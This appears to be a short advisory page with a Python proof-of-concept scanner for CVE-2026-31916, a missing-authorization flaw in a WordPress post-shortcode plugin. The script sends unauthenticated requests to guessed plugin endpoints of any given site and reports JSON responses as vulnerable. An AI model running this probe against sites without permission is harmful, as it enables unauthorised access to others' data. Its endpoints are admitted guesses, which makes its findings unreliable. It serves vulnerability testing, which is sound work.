CVE-2026-31916 WordPress Latest Post Shortcode插件缺失授权漏洞

import requests # CVE-2026-31916 PoC - Missing Authorization in Latest Post Shortcode Plugin # Target: WordPress site with Latest Post Shortcode plugin <= 14.2.1 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-31916 Missing Authorization vulnerability """ # Common plugin endpoints that might be affected endpoints = [ '/wp-json/latest-post-shortcode/v1/posts', '/wp-json/latest-post-shortcode/v1/config', '/wp-admin/admin-ajax.php?action=latest_post_shortcode', '/?rest_route=/latest-post-shortcode/v1/posts' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-31916 - Missing Authorization Check") print("=" * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) print(f"\n[Testing] {url}") print(f"Status Code: {response.status_code}") # Check if we get unauthorized access to sensitive data if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'json' in content_type: print(f"[!] VULNERABLE - Unauthenticated access to {endpoint}") print(f"Response preview: {response.text[:200]}...") return True elif response.status_code == 401 or response.status_code == 403: print(f"[+] Protected - Proper authorization required") except requests.exceptions.RequestException as e: print(f"[Error] {endpoint}: {e}") print("\n[*] Scan complete") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2026-31916-poc.py <target_url>") print("Example: python cve-2026-31916-poc.py http://example.com")